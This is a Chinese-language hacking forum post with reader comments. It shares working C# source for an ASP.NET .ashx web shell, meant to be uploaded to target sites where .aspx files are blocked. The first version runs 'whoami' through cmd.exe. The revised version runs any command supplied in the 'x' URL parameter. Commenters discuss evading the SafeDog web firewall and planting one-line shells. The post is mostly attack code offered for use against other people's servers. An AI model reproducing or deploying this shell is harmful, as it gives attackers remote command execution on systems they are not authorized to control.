ashx执行命令
在碰到很多站时,只支持aspx环境,且不能写入和创建aspx文件的时候可以传ashx文件进行进一步渗透。。。
这几天在搞一站碰到极其变态环境,于是有了下面的小程序。。。上传或创建为ashx文件即可。
楼下有会员提示用参数带入。。修改如下:x.ashx?x=dir d:
这几天在搞一站碰到极其变态环境,于是有了下面的小程序。。。
<%@ WebHandler Language="C#" Class="Handler2" %>using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Web;public class Handler2 : IHttpHandler {
public void ProcessRequest (HttpContext context) {
//string x = "-an";
Process prc=new Process();
prc.StartInfo.FileName="cmd.exe";
prc.StartInfo.UseShellExecute=false;
prc.StartInfo.RedirectStandardInput = true;
prc.StartInfo.RedirectStandardOutput = true;
prc.StartInfo.RedirectStandardError = true;
prc.StartInfo.CreateNoWindow = false;
prc.Start();
prc.StandardInput.WriteLine("whoami"); //也可组合X 执行命令。。
prc.StandardInput.Close();
context.Response.Write(prc.StandardOutput.ReadToEnd());
context.Response.End(); }
public bool IsReusable {
get {
return false;
}
}}
楼下有会员提示用参数带入。。修改如下:
<%@ WebHandler Language="C#" Class="Handler2" %>
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Web;
public class Handler2 : IHttpHandler {
public void ProcessRequest (HttpContext context) {
//string x = "-an";
string x = context.Request["x"];
Process prc=new Process();
prc.StartInfo.FileName="cmd.exe";
prc.StartInfo.UseShellExecute=false;
prc.StartInfo.RedirectStandardInput = true;
prc.StartInfo.RedirectStandardOutput = true;
prc.StartInfo.RedirectStandardError = true;
prc.StartInfo.CreateNoWindow = false;
prc.Start();
prc.StandardInput.WriteLine(x);
prc.StandardInput.Close();
context.Response.Write(prc.StandardOutput.ReadToEnd());
context.Response.End();}
public bool IsReusable {
get {
return false;
}
}}
评论38次
也是一种新思路啊
这个好东西,收藏!
这个是好东西,不过你这个权限挺大, ashx可以直接生成asp一句话
能过狗不
aspx大马改后缀为ashx无效?
要看服务器的配置情况
果断收藏,很不错的样子
aspx大马改后缀为ashx无效?
不知道ASHX 的继承权限是不是跟ASPX一样
好东西 收藏了 666
好东西。。。可以用上
一般情况下能穿ashx上去不如去生成一个一句话咯
一些奇特的环境,还是用的到的
prc.StartInfo.FileName="cmd.exe"; 可以自定义cmd的路径吗?
添加个参数,然后传递给prc.StartInfo.FileName 就可以了,也没什么改的。ashx这种一般处理程序还真没怎么用过
如果有安全狗的话 你这样明显过不了、、
这个 有点溜,收藏了
嗯,改改就好了,用 Request.Params 获取外部传进来的参数,然后执行在输出。
string x = context.Request["x"]; ... prc.StandardInput.WriteLine(x);
嗯,改改就好了,用 Request.Params 获取外部传进来的参数,然后执行在输出。